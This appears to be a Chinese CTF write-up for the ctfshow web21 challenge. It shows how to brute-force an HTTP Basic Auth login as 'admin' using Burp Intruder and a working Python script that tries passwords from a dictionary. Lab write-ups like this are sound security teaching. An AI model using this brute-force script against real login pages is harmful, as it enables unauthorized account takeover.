[ctfshow web入门] web21

前置知识

Base64编码使用了64个字符来表示二进制数据,包括A-Za-z0-9+/,末尾有0-2个=进行填充,所以只要看到密文末尾有一两个=,再检查密文本身是否由上述符号组成,就能大概判断密文是否为base64编码了

信息收集

在这里插入图片描述
一个对话框,输入123 321抓个包看看
在这里插入图片描述

在这里插入图片描述

暴力破解

burpsuite

把抓到的包发送到intruder,添加payload,并在payload前写上admin:的base64编码YWRtaW46
下载题目给的字典,如果不下字典很可能很难爆出来,可见好的字典非常重要。
在这里插入图片描述
攻击结束,按照状态码排序,或者按照长度排序,找出不同的那个进行查看
在这里插入图片描述

python解法

即使不学习burpsuite的intruder也可以使用代码完成这些操作,这并不会太复杂

import requests
import base64

def encode_base64(string):
    return base64.b64encode(string.encode('utf-8')).decode('utf-8')

def burte_force_pwd(url, dir_path):
    username = encode_base64("admin:")
    with open(dir_path, "r") as file:
        for line in file:
            password = encode_base64(line[:-1])
            header_Authorization = {"Authorization": f"Basic {username + password}"}
            respond = requests.get(url, headers=header_Authorization)

            if respond.status_code == 200:
                print(respond.text)
                break

if __name__ == '__main__':
    url = "http://0fbd3ed8-d357-4053-868e-004bb23f1722.challenge.ctf.show/"
    dir_path = "D:\\_burpsuite\\最新网站后台密码破解字典.txt"
    burte_force_pwd(url, dir_path)

没有web22,这一题因域名变更被废弃了
web20    目录    web23

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值